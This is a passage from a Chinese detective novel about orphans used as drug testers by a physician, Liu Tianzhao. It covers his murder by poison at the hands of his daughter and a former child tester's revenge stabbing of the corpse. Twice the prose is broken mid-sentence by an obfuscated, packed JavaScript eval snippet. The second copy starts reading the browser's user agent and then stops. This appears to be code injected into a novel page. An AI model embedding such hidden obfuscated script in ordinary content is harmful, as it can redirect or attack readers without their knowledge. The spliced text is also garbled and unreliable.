起初几次试药,他都平安无事。直到有一次,柳天兆调配出了一副新的治疗孩童抽动症的药方。萧满喝下后,感觉自己的身体出现了异样:最初是天旋地转,后来是上吐下泻,心跳奇快。 那一刻,萧满觉得自己快要死了,于是大叫起来:“柳老爷,救救我!” 柳天兆冷着眼看他,全然没有当初街头初遇那般慈祥。他命令他的手下王大九把他的嘴堵上,丢到“冰署”里。 冰署其实应该称之为“病署”,是柳天兆观察药童服药后状况的房间。但是孩子们都叫那里为冰署。倒不是因为那里真的寒冷,而是因为他们被关在里面后,总会被恐惧折磨得手脚冰凉,如同掉入冰窖。 那一个晚上,痛不欲生的萧满也觉得自己掉入了冰窖,身子永远也无法回暖了。 但是深夜,他从恐惧中醒过来,发现自己奇迹般地挺了过来。他正庆幸自己逃离了鬼门关,就听到隔壁的冰署传来异响。他记得,静静就被关在那里。在这药童坊里,与萧满玩的要好的共有三人,静静就是其中一位。 她总是笑盈盈地对萧满伸出手,邀请他:“我们一起来玩吧!” 想着静静的声音,萧满艰难地从病床上爬起来,来到冰署的门边。他原以为门被锁起来了,但事实上,他很轻松就打开了它。 也许是王大九以为他会死在里面,所以粗心地漏了锁门的步骤。他想着,压低脚步声,移到隔壁房门口,向里张望。敞开的房门里,柳天兆和王大九站在一起,打量着床上瞪着双目,一眨也不眨的静静。 “老爷,她死了?”王大九问柳天兆。 柳天兆一边在手中的医本里记录着静静的死状,一边像在说一只蚂蚁的死亡似的,冷冷道:“死透了。” 王大九没有再语,只是安静地看着柳天兆又检查了一遍静静的尸体。 最后,柳天兆对王大九吩咐道:“丢了吧。” 王大九驾轻就熟地开始脱静静身上的衣服——他们要留给其他小孩穿,然后再把静静塞进早就准备好的麻袋中,准备拖走。 而这过程中,柳天兆又认真地在自己的医本上多添了几笔。待他写完,准备和王大九一起离开时,他忽然察觉门口似乎有人在盯着他们。 柳天兆猛地转过头,却发现身后空空如也。他不免将眉头拧了起来。 而黑暗中,一直偷窥的萧满惊魂未定地退回到了自己的冰署里。他重新躺回到了床上,佯装自己一直没有苏醒。 但闭上眼的他,眼前开始浮现王大九拖着麻袋离开的场景。虽是幻想,但那场景仍令他毛骨悚然,害怕至极。 他知道死亡是什么。但他一直觉得,那不是他这个年龄会遇到的东西。可是现在,他清晰地感知到死亡正朝他的脖子伸出手,欲要将他扼住,拖入深渊…… 萧满猛地睁开眼,听到了药童坊的钟声。那钟声告诉他,外面天亮了,新的一天到来了。 可是从这一天起,一切都不一样了。 之前他不是没有察觉,有些孩子突然就不见了。可是这次不一样,“被不见”的是他要好的伙伴,而且他亲眼见到了她的尸体。那种近在咫尺的恐惧感,让他终于明白,柳老爷经营的是一门吃人的生意。 他忘记自己是怎么从冰署里出来的,也忘记了柳天兆有没有检查他的身体,然后在医本上记录他的状况。 那几天,他一直处在浑浑噩噩之中。就连他剩下的两位朋友——赵开心和悦悦问他有没有见到静静,他也无法给出回答。 后来,就像猜到其他消失的孩子去了哪里一样,这两位朋友猜到了静静的结局。深深的恐惧,也在无形中掐住了他们的喉咙,他们便不再向萧满追问静静的下落。 柳天兆并不总是将药童们关在地下的药童坊。没有阳光的沐浴,长期待在昏暗的房间里,会影响药童们的生长发育,从而影响他们试药。 所以药童们会定期离开地下,被王大九带到一处朝阳的空地上,晒太阳,玩耍。那是他们最快乐的时候。 可是那天,萧满躺在草地上,闭着眼睛感受炽热的阳光时,他发现自己的身体发生了异变。原本面容正常的他,开始不受控制地抽搐嘴角。 王大九很快发现了他的异常。当药童们晒完太阳,回到地下后,他就把他带到了柳天兆的面前。 明明是想找到治疗孩童抽动症的药方,却让正常的孩子变成了病患,柳天兆一边觉得可笑,一边拿着他的医本,开始记录萧满身上的变化。 他认真、专注,像位仁医在就诊。 末了,他把医本一合,对着王大九说:“把我新做的方子给他喝吧。” 王大九点点头,萧满却忍不住道:“我不想喝……” “不想喝?你不想让自己的病好?行。”柳天兆转头对王大九道,“今晚别给他吃饭了。” 流浪时饥饿的恐惧又爬上了心头。 “我……我……” “你什么?” “我要吃饭!”他大声地道。 “那你喝不喝药?” “我不想……” 萧满的话未说完,柳天兆就大声命令道:“跪下!” 萧满气愤地挺着胸膛,怒视着柳天兆。 “让你跪你就跪!”王大九不仅跟着大喊一声,还朝萧满的膝关节狠狠地踹了一脚。 膝盖不受控制地砸在地上,萧满痛得眼冒金星。 “最后让你选一次。”柳天兆居高临下地看着萧满,“你要不要吃饭?” “我……我要吃饭。” “那你就乖乖喝药,好不好?”柳天兆蹲下来,宽大的手慈祥地抚摸着萧满的头,“我也是想治好你的病。这一切,都是为了你着想。明白了吗?” 萧满嘴角不停地抽搐着。许久之后,他屈服地点了点头。 就在这时,门口传来他好朋友悦悦的声音。 “老爷,老爷,小天晕倒了。” 闻言,王大九一把拉起了跪在地上的萧满,柳天兆则眉头紧蹙地打开了门,疾步离去。王大九让萧满和悦悦回自己屋去,自己则追上了柳天兆的步伐。 走在后头的萧满和悦悦,陷入在奇怪的沉默里。他们非常缓慢地走着,走着,忽然,悦悦小声地道:“我刚才从门缝都看到了。” 萧满羞红了脸,快速地低下头去。 悦悦瞟了他一眼,不动声色道:“我们逃走吧。我和赵开心已经商量好了,再也不做药童了!我们再喝那些奇奇怪怪的药汤,或许会跟静静一样死在这里。” 萧满顿下脚步,抬起头,不可置信地看着悦悦。 悦悦看出了他的担忧,于是一脸严肃道:“我们健健康康的,出去还愁找不到活干,吃不上饭?” 萧满沉默了良久,才极为小声地问道:“我们怎么逃走?” “现在还不知道。”悦悦说,“不过只要我们留心观察,就一定能等到老爷和王大九疏忽的时候。相信我,我一定带你们离开这个鬼地方!” 萧满将信将疑。 “所以,你想不想和我,和赵开心一起赌一把?”悦悦见萧满还在犹豫,道,“你还想像刚才那样,屈辱地跪在地上认错吗?或者,你想像静静一样,被药毒死,然后被丢在荒郊野岭被狗吃掉?” 萧满的眼神闪动,内心也跟着松动了。他向来是容易被蛊惑的人,不然也不会被柳天兆拐来药童坊,所以他最终低下了头,说:“好吧,我跟你们一起走。” 虽然这么答应了,萧满当时并没有彻底下定决心逃跑,直到小天出了事。小天也是同萧满一般大的药童。 那天悦悦来找柳天兆,说小天晕倒了。柳天兆赶忙赶过去,救醒了他。但是自此后,小天便每天阴沉着脸,不知道在想着什么。直到有一天,小天突然从药童坊消失了。 萧满、悦悦和赵开心都以为他也被药毒死了。结果又过了几天,王大九绑着小天回到了药童坊。 萧满他们这才意识到,小天原来是偷偷逃走了。 “你以为你报官,就能搞死我们?”王大九把小天丢在地上,对着围过来的药童们高声嚷道,“也不想想,我们每年要花多少钱去官府打点!” 小天嘴里塞着麻布,眼里噙着泪,蜷缩在地上,浑身颤抖着。围观他的药童们,不敢发出一点动静,只是害怕地攥紧了自己的拳头。 没过一会儿,柳天兆也来了。他手里拿着一串糖葫芦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过刚经历了药童落跑事件,柳天兆和王大九对药童们的看管变得比以往严格了许多。所以之后的日子,他们一直没有找到逃跑的机会。悦悦说,他们必须静静等待。可这一等就是一年。这一年里,药童坊中又有药童被消失,也有新的药童加入,还有些药童因为试药,身体发生了异变——有人身上的皮肤变得犹如覆盖了一层鱼鳞,有人呕出的鲜血里有一小块一小块的肉块,有人年纪轻轻就满头白发…… 而萧满,吃了很多新药,嘴角的抽搐症却一直没有见好。 当萧满也变得迷茫,不知道这样的日子何时才能到头时,时间让活阎王们再次放松了警惕。 彼时,柳天兆的女儿柳云儿刚刚出生,他欢喜得不得了,时常离开药童坊回家逗女儿开心。留下来看管药童坊的王大九难得能喘一口气,便偷偷带酒来喝。 悦悦注意到了这件事,赌他总有喝醉的时候,于是就让萧满和赵开心时刻准备着,一有机会就实施他们密谋了一年多的逃跑计划。 果不其然,那王大九愈来愈贪杯,真就在某日傍晚时分,喝酒喝得上了头。 悦悦赶紧招呼萧满和赵开心逃跑。赵开心趁王大九打瞌睡的时候,盗来了他的钥匙,交到悦悦手中。悦悦颇为镇定地一一开门,领着他们两个男生离开了地下。 但他们没想到,王大九很快就反应过来了。他从瞌睡里苏醒,发现身上的钥匙不见了,于是大骂一声不好,就冲了出去,追赶逃走的三人。他人高马大,步子迈得极宽,眼看就要追上。就在这时,悦悦狠狠地摔了一跤。意识到自己逃跑失败,她竟一咬牙,抱住了王大九的大腿,牺牲了自己,为另外两个男孩争取到了逃跑的时间。 “我跑啊跑,跑到快要喘不过气,才停下来。”云溪苑山庄内,萧满回忆道,“我发现我跟赵开心跑散了。但我不可能再折回去找他。休息一下后,我就往前继续逃跑。我不敢报官,因为我知道报官也没用,只能漫无目的地一路翻山越岭,离开了浮图县。这一走,就是二十年。这二十年,我一直没有忘记,那些死去的孩子,那些被药毒害得快要发狂的伙伴。我也没用忘记,最后牺牲自己的悦悦……我要为他们复仇!所以我又回到了浮图县!我发现王大九已经不见了,不过柳天兆还在。平日里,我难以接触到他。但是我发现他时常会和女儿来这云溪苑山庄闲游,于是我便跟到了这里,蛰伏于此。终于我等来了柳天兆。时过境迁,他早已不认识我。即便看到我嘴角抽搐,他也只是以为,我是抽动症的患者,还说他可以卖药给我……哈哈哈……真是荒唐……不过皇天不负有心人,他最终还是死在了我手里哈哈哈……” 萧满对着柳天兆的尸体狂笑不止。 雾山角皱着眉,紧紧地盯着他。 万仙却轻摇折扇,问他:“这柳天兆,真是被你用刀捅死的吗?” “这么多人亲眼所见,不是我杀了他,难道是你杀了他?”萧满歪着头,强硬道。 “萧满。”万仙的眼神忽然冷了下来,“在你用刀捅杀柳天兆前,他已经死了,不是吗?” 萧满浑身一颤,猛地撇过脸去,似是在逃避万仙的追问。 房间里瞬间落针可闻般寂静。 42.第四案:药童血04 这期间,雾山角也在细细打量着房间里的一切。不一会儿,他道:“果然如此。萧满,在你捅刀前,柳天兆就已经死了。不然这屋内,怎会没有打斗的痕迹?就算你是对睡着的柳天兆下手,他也不可能在被捅刀后,还毫无反应地坐在这椅子上,不睁眼反抗。而且我绑你时,发现你手上也没有被他抓破的伤痕。” “不仅如此。”万仙回忆着刚才验尸的画面,接话道,“柳天兆身上的血迹也能表明,他早已身亡。若他是在活着时被捅刀,鲜血应该喷射而出,溅得周围全是点点血珠,且伤口边缘通常显得凌乱。可现在,柳天兆虽被捅数刀,流出的血量却并不多,伤口边缘也较为整齐,可见他早已死去。而且我验尸发现,他很可能是中毒而亡。” 萧满叹了口气道:“好吧,我承认。我先下毒毒死了他,才对他的尸体捅刀的。” 万仙朝雾山角使了个眼色。雾山角立马问萧满:“你下的是什么毒?” 萧满眼珠左右来回,迟迟不答。 万仙踱步到柳天兆身前,装模作样的检查,道:“莫不是断肠草?” 萧满恍然大悟,道:“对,就是断肠草。” 他这“恍然大悟”让万仙勾起一抹得逞的笑来:“服下断肠草者,腹痛难忍,还会伴有呕吐症状,但这现场可没有呕吐出来的污秽……萧满,柳天兆中的可不是断肠草的毒。” “说,你为什么撒谎?难道你知道下毒者是谁,想要包庇他,所以佯装柳天兆是你杀的?”雾山角立刻拔剑架在萧满的脖子上。 萧满知道自己上了眼前这位面如冠玉的公子的当,瞬间塌了肩膀道:“我知道下毒者是谁,但我撒谎,并不是想要包庇……” “那是为何?”雾山角追问道。 萧满低着头苦笑了一声,却像是羞于启齿,又陷入沉默。 万仙倒是明白他在想什么,继续轻摇折扇,道:“痛恨仇人二十载,处心积虑,终于找到机会取他狗命,却发现有人先行一步杀了他。换做是我,我也扼腕叹息!” 萧满闻言,剧烈地扭动着身体,道:“我准备绳子、短刀,就是想绑住这狗东西,一刀一刀凌辱他,让他也尝尝我们这些药童们痛不欲生的苦!可是他却这么轻易地死掉了。那我这些年卧薪尝胆算什么?我那些被折磨、被消失的伙伴,又怎能咽下这口气?所以我一气之下,对他的尸体下了手。我好想让我的那些伙伴知道,我替他们复了仇,柳天兆不得好死!” 萧满越说越激动,万仙抓住时机,轻巧一问:“所以那个毁了你复仇计划的人是谁?” “还能有谁?”萧满嚷道,“能接近他,神不知鬼不觉地下毒,自然是他亲近的人。” “你是说,他的女儿柳云儿?”雾山角道。 萧满点点头。 万仙合上折扇,问萧满:“你怎么这么确定是她下的毒?” “我躲在此屋房梁之上,看到了一切。” 萧满回忆,半个时辰前,柳天兆和柳云儿在山庄的膳堂吃完早点,就回到了柳天兆的房间里。 他们在两张木雕椅上入座,面朝着敞开的大门,欣赏起山庄的春景,有一搭没一搭地闲聊。 “这景色真好,春日果真适合出来走走。”柳天兆感慨道。 柳云儿盯着外面的阳光许久,才道:“我记得小时候,每次你和母亲带我来这里小住,母亲都会陪我在外面的池塘喂鱼。” 柳天兆微微一愣,叹息道:“哎,你娘也已走了五年了……” “是啊,自从母亲落水淹死,已有五年了。我再也不敢靠近池塘边。” 柳天兆沉默良久,道:“云儿啊,过去的事就让它过去吧。我们父女俩相依为命地把这日子过得幸福,你娘在天之灵也会倍感宽慰的。” 柳云儿不无伤感地扯了扯嘴角,问柳天兆:“父亲,你现在觉得幸福吗?” “自然。有女儿陪在身边,我怎会不觉得幸福?”柳天兆脸上荡漾起笑意。 柳云儿没有接话,只是点了点头。 柳天兆不禁疑问:“怎么突然说这些了?” 柳云儿摆了摆手道:“我也不知为何,看到这么满园的春意,竟伤感起来了。” “都怪这春色太美了。”柳天兆笑了笑,打了个哈欠道,“吃了早点,犯起春困了。” “那父亲要躺到床上歇息一下吗?” “不必了,就坐在这眯一会儿眼好了。”说着,柳天兆控制不住困意,倚着椅子,闭上了眼。 柳云儿盯着柳天兆那张脸看了许久,忽然流出泪来。 “父亲,永别了。”她站起身,合上房门,离开了房间。 躲在房梁上的萧满那时不知道柳云儿为何会流泪,为何会说这番话。他等房间里只剩下柳天兆后,偷偷松了口气,顺着柱子小心翼翼地爬了下来。然后,他轻手轻脚地掏出准备好的绳子,准备将柳天兆绑住。 忽然,他察觉到了柳天兆的异样。 做药童时,他担心身旁的伙伴会因为试药骤然离世,于是时常在他们睡着时观察他们。他知道活人即便睡得再沉,胸口也会因呼吸而微微起伏。可是眼前柳天兆的胸膛却平静得如同没有一丝波澜的湖面。 萧满收住脚步,疑惑地俯过身,伸出一根手指,探了探柳天兆的鼻息。 他发现他居然没有了呼吸! 他赶紧佯装是进屋询问客人的小厮,轻轻推了推柳天兆,道:“柳老爷,柳老爷……” 柳天兆依旧没有反应。 于是萧满一把抓过了他的手,将手搭在他的手腕上。 柳天兆的脉搏也已全无。 这三探之后,萧满立即明白自己晚了一步。这柳天兆竟在他动手之前,猝然离世! 一时间,他只觉得造化弄人,荒唐至极! 他想起刚才柳云儿问柳天兆“你现在觉得幸福吗?”时,柳天兆脸上随即荡漾出的笑意。 他竟是满怀着幸福之感死去的? 这深深地刺痛了萧满。 “他这么幸福地过完了一生,那我这二十年的苦痛,算什么?”萧满的嘴角再次剧烈地抽搐起来,“那些可怜的药童们,他们的痛不欲生,又算什么?我不允许世人知道他是幸福地死去的!所以我掏出了我的刀,狠狠地捅向了他!他必须得死在我的手上,必须得死在我的手上!这样才算公平,这样才算这世道还有公道在,不是吗?” 他大声地控诉完,陷入了长久的颓然中。他垂着头,塌着肩膀,像干瘪的荷包,皱巴巴的。 而这时,雾山角已经和王博多将柳云儿带了进来,重新关上了房门。 王博多刚刚一直待在门外,不知道萧满并非凶手,还一个劲地安慰柳云儿,让他别害怕,他和仙儿哥一定会为她出头。 谁料万仙折扇一开,便质问柳云儿:“柳云儿,你为何要害死自己的父亲?” 王博多惊愕地快掉了下巴。 “那个,这个,呃……”他嗯嗯啊啊半晌,才指着萧满道,“仙儿哥,凶手不是这小厮吗?” 万仙简单地将刚才萧满的证言说给王博多听。 他看似是在跟王博多解释,实则更是想让柳云儿知道,有人亲眼目睹了她与柳天兆的对话。 若柳天兆的死与她无关,她又怎会知道他会一睡不醒,说出那句永别? 柳云儿闻言,自然知道自己暴露了。 她一没想到当时竟有人在场偷听,二没想到萧满曾是他父亲手下的药童,脸上不禁闪过惊讶之色。 末了,她才摇了摇头,无奈地笑道:“的确是我下毒害死了父亲。也的确是在确认父亲已经死掉后,我才离开了房间。我本想佯装在外游览一圈,回到屋内才发现父亲在梦中离世……结果一打开门,就瞧见这小厮握着短刀,在我父亲尸体上捅了数刀!我当时是真的被吓得不轻,不知道他为何要这么做!但旋即,我就想,说不定,他是上苍派来给我脱罪的。于是我刚刚竟也一个劲地表演起来,没想到……只是一炷香的功夫,这一切就被这位公子识破了。” 王博多立即挺胸,自豪道:“这小小的阴差阳错,自然逃不过我们仙儿哥的火眼金睛。” 万仙收起折扇假装要打他。 雾山角哼笑一声,转头对柳云儿再问道:“所以你为何要毒死自己的父亲?” 柳云儿盯着柳天兆的尸体,一言不发。 万仙为了让她开口,直接点明道:“是否跟你母亲离世有关?” 柳云儿已经不惊讶眼前这位公子料事如神了。 她点点头,说:“父亲还以为我不知道,我母亲并非落水身亡……” 柳云儿道,五年前,她十五岁,母亲的尸体从河里被捞出来时,她就在现场。虽然大人们都不让她看,但是她还是偷偷去见了母亲最后一面。她记得母亲当时的模样,她平整的皮肤上有着浅浅的尸斑,双手也并没有抓握或挣扎的痕迹。但她明明从某本医书上学过,溺死者尸斑分布不均,颜色较深,皮肤上也可能会出现鸡皮样改变,而且双手应该会有抓握或挣扎的痕迹啊。 显然,她的母亲是死后才被抛入水中的。 可是赶来的官府差役,竟也断定母亲是溺水身亡,这让年纪尚轻的柳云儿以为自己学艺不精,记错了医书上的知识。 直到一年前,家中年纪最长的仆人在临死前,将柳云儿偷偷叫到了病床前,告诉了她,他当年偶然间偷看到的秘密。 原来,柳云儿的母亲并非失足落水而亡,而是被柳天兆逼着吃下毒药,毒发身亡。 “小姐,老夫……咳咳……人之将死,也不怕您笑话我。”那仆人气喘吁吁道,“我这人这辈子最大的毛病,就是爱偷窥他人的秘事。那日我从老爷房间的窗缝里看到,老爷在和夫人争吵。夫人不同意老爷在外面拈花惹草,还扬言要把他私底下的买卖告诉浮图县里的每个人。这样,即使老爷在官府里有关系,他也没办法继续做那害人的营生。老爷气急了,抓着夫人的头发,就把一颗秘制的药丸塞到了夫人的嘴里,逼她服下。没过多久,夫人就咽了气。老爷就趁着夜色,将她丢入了湖中。” 仆人的话,让过往的疑点如雪花一 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柳云儿以“女儿过几年就要出嫁,想在这之前好好孝敬父亲”为由,更频繁出现在柳天兆身边。柳天兆对女儿毫无戒备之心,所以柳云儿很快就复制了他身上的钥匙,趁他不在家时,进入他的屋内开始翻找。她发现柳天兆有一个琉璃色的柜子,柜子上封着锁。柳云儿把所有复制的钥匙试了个遍,终于将它打开。 那柜子里放着一摞医本和数十瓶贴了标签的秘药。 柳云儿将医本取出,一页页翻看。医本记载的内容之多,她无法一下子看完,只得屡次重复自己如贼般的举动。直到她终于在医本里看到一种名叫“消散丸”的药。这药是柳天兆研制出的新药,无色无味,人服下后容易困顿,然后在不知不觉中断气而亡,不会出现明显的中毒症状。而柜子中的药瓶里,刚好有这种秘药! 柳云儿想,若父亲偷偷让母亲服下这消散丸,他即使不将她抛尸水中,常人也不会发觉母亲的死亡有什么异样。但当时,父亲与母亲有过撕扯,他怕留下什么线索,所以才在情急之下,将母亲丢入水中,让落水一事,掩盖他担忧的痕迹遗留。 但是现在,早已有了谋害之心的柳云儿,决定将这药偷偷下在父亲的饭中,让他悄无声息地断气。 柳云儿叙述至此,顿了顿,问万仙:“这位公子,那消散丸无色无味,也不会让人显现明显的中毒症状,你又是怎么知道,我父亲是中毒身亡?” 雾山角也觉得奇怪,望向万仙。 万仙淡淡一笑道:“我验尸后,只发现萧满捅刀之前,你的父亲已死。我并不知道你父亲是寿终正寝,还是被萧满先下毒后捅刀。于是我故意说他是中毒身亡,想诈一诈萧满。谁料,竟牵扯出这么多故事。” “你!!!”被绑在椅子上的萧满闻言,气急败坏地扭动着身子。 万仙不理会他,而是问柳云儿:“所以你为何选在今日,在云溪苑动手?” “我虽有用消散丸杀人的计划,却迟迟未动手。因为我察觉到父亲会时常检查他那琉璃柜里的秘药。若他发现少了一颗消散丸,恐怕会怀疑到我头上,从而发现了我的……我的蛇蝎心肠。”柳云儿苦笑道,“所以我一直等待着机会。直到几天前,父亲决定来云溪苑小住。我把父亲扶上马车,便谎称有东西落在了自己闺房,重新下车回到了家中。我奔到父亲屋内,将那消散丸倒出来一颗,带在了身上。我只能在这云溪苑动手,不然父亲回去,就会发现他的秘药被人盗走了……” “原来如此。”雾山角指着柳天兆,对柳云儿道,“既然你看过他的医本,那么你应该知道他这么多年都在收养药童、试药制药吧?” 柳云儿承认道:“我知道父亲私底下在做什么营生。我想,家中那些仆人,应该也都知道他靠什么发的家致的富……” “但你们都保持沉默,对吧?”王博多愤怒道,“毕竟他那吃人的营生,能让你们过上锦衣玉食的生活!” 柳云儿羞愧地撇过脸去。 万仙此刻目光也冷了下来:“所以那药童坊现在还在?” 柳云儿沉默许久,像是不愿作答。可面对众人质问的目光,她最终还是点了点头。 “在的。父亲一直在添新的医本。” “果然!”被绑在椅子上,一直听着柳云儿讲述的萧满又剧烈地扭动起身子,嘴角抽搐地喊道,“果然这禽兽还在害人!浮图县的狗官,跟这禽兽狼狈为奸,这天底下,还有王法吗!” 万仙“啪”的一声,又将自己的折扇打开。 “小师爷。”他唤雾山角的名号,道,“你说这天底下还有王法吗?” “自然是有的!”雾山角道,“浮图县的官差助纣为虐,浮图县里无人能制,不代表外人不敢向帝皇告讦!” 随即,他转头问萧满:“萧满,你可知道当时关你们的药童坊在何处?” 萧满答道:“那时我只顾着逃跑,并不清楚药童坊建在何处。” 柳云儿这时却道:“我知道药童坊在哪里。因为父亲的医本,详细地记录着时间、地点和试药者的姓名或代称……” 43.第四案:药童血05 柳云儿交代完一切后,雾山角将她绑了起来。 这期间,万仙命王博多去向沈清澜讨来纸笔和一只去过凌洛城的信鸽,让雾山角写信告知凌洛城的知县大人——即他的舅舅魏知天,云溪苑山庄发生的命案。待官府派人前来,即可将柳云儿和萧满一同押解回去,依律问罪。 “除此之外,还烦请雾山兄托知县大人,派人解救浮图县药童坊中的药童们……”说着,万仙在雾山角耳畔低声耳语了几句。 雾山角紧皱着眉头,点点头,开始落笔。 很快,雾山角便将这封书信写完,在末尾署上了自己的姓名,并按上了手印。 他将信卷起来,塞到信鸽胫骨上的玄铁信筒内,然后走到窗边,对着天空将手一送。 “去!” 那信鸽闻声扑打着翅膀,旋即朝天际飞去。沈清澜说,这只信鸽只会飞到凌洛城中,与云溪苑有过通信的布商手中。然而,在信件的开头,雾山角留下了一段话,指示这位布商将信件转交给官府的差役。 虽然过程繁琐了些,但这信应该能顺利送达。 “那布商岂不是也会瞧见信里的其他内容?”王博多站在万仙身旁,看着窗外越飞越远的信鸽,呢喃道。 “你怕他会把这山庄里的事传出去,闹得沸沸扬扬?”万仙缓缓摇动折扇,瞥了一眼王博多。 “这云溪苑毕竟是开门迎客的山庄,每晚的房费可不便宜。若是命案的消息传遍城中,只怕要坏了人家庄主的生意。” 作为异宝博多当铺的少东家,王博多对“影响生意”这事颇为敏感,当下便为沈清澜担忧起来。 万仙笑了笑,道:“不用担心。雾山角刚才写了什么,我也看不懂。” “啊?” “除了开头,其他部分,他用的是特别的密语,唯有他和他舅舅看得懂。” 王博多终于了然地点点头。 接着,众人安置了柳天兆的尸体,将柳云儿和萧满囚禁在屋内,锁上了门窗,防止他们逃走,静待山下的官府派人前来。 原本今日便回去的行程也耽搁了下来。 “不过也好,这山庄景色动人,多留一日也无妨。”轻而易举抓到了杀人凶手,王博多心情爽朗,脚步都轻盈起来。 万仙拿着折扇,挡着申时炽烈的阳光,和撸着袖子的雾山角走在后头。 这时,沈清澜追了过来。 “雾山兄……”他拿着一枚钱袋,疾步来到雾山角面前,“我安顿完其他客人,就听其他小厮说,你们要在山庄续住一晚。都怪我教导无方,他们竟不懂事地收了你的银两……你和万仙公子替我们解决了这么大一个麻烦,我们怎么好意思收这房费呢!何况,雾山兄,你还是我沈某的挚友!” “亲兄弟也要明算账。”雾山角抬抬手道,“这些银两是我逼着他们收的,还请清澜兄不要为难他们。” “不会为难,不会为难他们的……”沈清澜继续往雾山角手里塞钱袋,“但这钱我真不能收。” 万仙打量着推来让去的两人,只见一丝不苟地穿着长袍的沈清澜,急得额头都出了汗。 “好了,雾山兄,你就接受人家的好意吧。”万仙像是看不下去似的,道,“毕竟我们也确实替他抓住了在山庄闹事的凶手。” 闻言,沈清澜最后一次将钱袋往雾山角手里一塞,叹息道:“哎,我真没想到柳小姐会杀人,也真没想到……我招来的小厮竟也是为了谋害柳老爷而来。” 他还未哀叹完,就被王博多打断了。 准确来说,是被王博多的肚子打断了。 王博多早上起来肚子就在咕咕叫唤,本以为能安心吃顿午饭再启程回家,却突遇了命案。面对这混乱的场面,他一时也忘了饥饿,忙上忙下。现在,案件终于告一段落,他的肚子不免又哀嚎起来。 那叫声如同饿狼乞食,当真是又凶猛,又可怜。 万仙摇着扇子,笑着对沈清澜道:“我就这么一个博多少爷,可别给他饿死了。” 沈清澜跟着笑道:“不会让他饿死的,不会让他饿死的,我这就让膳堂为各位准备餐食。” 雾山角望着谈笑风生的万仙和沈清澜,一时恍惚。 怎么搞得你们才是好友似的? 他想起写信前万仙的耳语,再次蹙了蹙眉头。 而王博多屁颠屁颠地道:“那我可以点菜吗?我想要吃东坡肉,莲房鱼包……” 没想到沈清澜有求必应,后来真把东坡肉和莲房鱼包给整上了桌。这下,不仅是王博多吃得津津有味,就连万仙也大快朵颐起来。唯独雾山角没有什么食欲,吃了几口便放下了筷子,脸色愁苦。 吃饱喝足,夜色也饱满起来。三人便各自回屋睡觉。 第二天清晨,雾山角起了个大早。他早早地守候在山庄鸟舍旁,截住了飞回来的信鸽。 他从信鸽腿上的信筒里抽出了舅舅的回信,低头细读,知道他已知晓云溪苑山庄的命案,也知道他已经派人处理他的委托…… 读完密信后,他把信收好,便开始在山庄内练剑。没过一会儿,万仙也起床了。他换了件轻薄的淡绿色长衫,乌黑的长发随风飘逸,比往常还要文雅悠然。 “雾山兄,早啊。”他摇着折扇,道,“这天气真是越来越热了。太阳刚出,就已让人感到燥热了。” 雾山角没有应和这番话,而是收起剑,板起脸,走到万仙身旁,轻声告知自己收到的回信内容。 万仙听完,了然地点了点头。 这时,王博多的房门开了。 “啊——睡得好爽!”王博多像昨日一样伸着懒腰,大声呼道。 瞧见万仙和雾山角已在庭院里,他疾步奔去。但见到雾山角正把不忍剑收回剑鞘里,他顿时难掩失望道:“小师爷,你这就练完剑了?” 恐怕这家伙起这么大早,就是为了找雾山角练剑。万仙在心里笑了笑,然后拿折扇朝他招了招手。 “咋了?仙儿哥。”王博多凑到万仙面前。 万仙在他耳边轻声嘱咐了几句。 王博多先是一愣,道:“为何?”然后再眼珠一转,点头道,“没问题。” 万仙交代完毕,便和雾山角去六角亭小坐。王博多则走到附近的池塘边,开始数池中的锦鲤。 数了一会儿,沈清澜就现了身。 “雾山兄,万仙公子,博多公子,早。” 他依旧同昨日一样,裹衣如茧。待走到六角亭,他擦擦额头的汗问雾山角道:“雾山兄,我看那信鸽已经回来了,官府是否已经派差役前来押解犯人?” “知县大人已有安排,清澜兄不必担心,我们绝不会让那两位犯人占用客房多时。” 沈清澜有些尴尬道:“雾山兄,我并非想要催促,只是想早点解决此事罢了。毕竟客人想到山庄里有一具尸体、两名犯人,多少会有所顾忌。” “这是人之常情。”万仙接话道,“相信官差很快就会来了。” 沈清澜感激地对帮他说话的万仙笑了笑。 就在这时,王博多的声音传来。他指着池塘,呼唤沈清澜:“沈庄主,这条锦鲤为何与其他的不同,如此奇丽?” “怎会有不同的锦鲤?”沈清澜闻声离开六角亭,朝着王博多走去,“这云溪苑的池塘里,养的都是通体玄色而鳍尾赤红的九影鲤啊。” “可这条分明背鳞天蓝,鳍尾发白。”王博多满脸好奇,继续伸手指着池塘。 沈清澜顺着他所指的方向望去,皱眉道:“哪里?” “就是那条啊!”王博多扯着沈清澜的衣袖,让他俯过身去。 可池中哪有什么颜色奇丽的锦鲤?沈清澜顿时察觉到自己中了计,欲要抽身,身体却被王博多狠狠一拽。 下一瞬,他和王博多双双跌进池中。 “啊——”沈清澜惨叫一声,双手开始扑腾。 他从未下过水,因此不会游泳,这使得他既惊慌又害怕,不自觉地呛了几口水。 “沈庄主!”王博多一脸不好意思地朝他游去,边游边嚷道,“不好意思,我方才失了神,不小心跌了进来,害你也落了水。” 沈清澜恨不得把他的头按进水中,让他闭嘴,可他实在是不识水性,只觉自己快要被淹死了。 就在他眼睛发昏之际,王博多终于一把拽住了他,将他朝岸边拖去。 万仙和雾山角早已等候在池边,很快就将二人拉了上去。 沈清澜惊魂未定地跌坐在地,厚重的衣服一部分凌乱地散开,一部分紧贴在身,显得他狼狈不堪。 “沈庄主,都怪我这小兄弟毛手毛脚。”万仙嘴上不好意思地道着歉,双手倒是干脆利落地去脱沈清澜的衣裳。 沈清澜还在呕着灌进喉中的水,见万仙对自己动手动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 